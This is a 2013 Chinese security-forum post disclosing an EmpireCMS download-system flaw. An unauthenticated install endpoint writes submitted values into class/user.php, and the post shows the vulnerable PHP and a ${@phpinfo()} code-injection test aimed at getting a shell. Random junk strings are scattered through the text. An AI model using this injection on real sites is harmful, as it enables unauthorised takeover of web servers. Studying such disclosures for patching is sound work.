找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2401|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
" q+ j) N* w, m: |/ d( ]
) A6 m  m& u" s6 \4 b

( ?9 N" f+ Q+ A4 g+ O& P
这是帝国的一套下载系统 如图
) f; c( A% ?( M/ u* H  c' Gps(不需要任何账户和密码,直接写shell)


& D+ X; E" v3 n; ~- p& s/ E. _

由于很多站是由于下载要整合discuz 等等一些论坛...." v; f! E" M1 {7 K2 s, d9 ^


% I  W- O: Y8 l) g! Z

而帝国他又有一个万能接口,如图


" @  Q: j4 v4 a% e- X" R
# U% |1 u( O( }
2 s2 I. w$ `1 P2 u3 A  i

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码/ U$ r3 G+ N# g0 I. p

0 d9 n2 C* |7 |* P当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪/ k& B% n! c8 z
% K% r7 `! S, F* j6 c. t" r* t- A4 U/ f
在data/fun.php中的15行
9 J: F7 T  b* n/ y' H$ ~2 g, n4 z8 _1 I  n
我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {* m5 {  l4 ~# ~, @  r3 _
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干
( H0 t% b: d: ~0 V0 ]7 ~
0 Q% `3 [, \4 m, c' {6 F0 B6 z这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);4 ]1 I! S2 `. B

7 ~1 q3 m4 D4 T1 Y! |3 L; c他将传进来的变量进行了切割,然后赋给了$filetext
/ Z5 x# s& i( U/ C! M+ n1 S
* V: u  [  e; I! A然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了
$ b9 a% D, u* ?% [, }# b9 X) P% d# e; O# q8 v1 G+ \
我们看看写入的结果,随便填一个


. I$ h% X! [# _7 l4 r2 \  n5 C9 o  `# B# e

' R! d4 L/ i7 Z8 b. a* [: m; q4 I* \5 T4 h
5 d# U+ Q4 S$ V6 c4 n8 C2 T  C+ [* f
, y5 c5 `' p+ K2 M  s

  `6 D5 h$ U6 p3 y. I; p

% D+ N; F- ~, `2 u+ m0 H4 H- I' ^

  C2 ], i6 j; F/ y9 H, z; `/ B
6 x( g/ c9 |7 q" m- ~

( ?" B3 o* W$ H: R* F7 \- G' }; O$ H2 F/ r
4 w* S$ p+ C2 W' E
1 g" j( L* m  G. `4 p. I8 }) r
5 X0 h! o' S: i5 G$ [7 V" d

# _1 j5 o1 D% v& ~, S
8 o3 ?: f1 }$ o. ?0 g5 a* Q  b* H6 A4 u
+ R: b1 m' ?: i* ?( P+ }+ Z

* w7 f) `" _6 H1 _2 u$ U

5 l: {2 Y3 l3 h0 s0 P* g0 }4 N# l. j) i% a; e

所以我们淫荡点,写个${@phpinfo()}试试

7 A* Y7 L: |) E( B2 B

然后访问以下class/user.php这个文件
9 @9 T1 u3 p) ]" }日了吧

8 ^. e/ _1 X# }: E

5 l7 j, B% }$ b5 [8 M4 y7 J
3 F1 F7 n/ y+ F% i

& v* d1 M$ G5 ~. `. H1 L5 E$ x

  E8 p0 v% d, W) _7 j/ x

8 \0 ^5 I3 y0 V# u3 a: K4 |- z

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表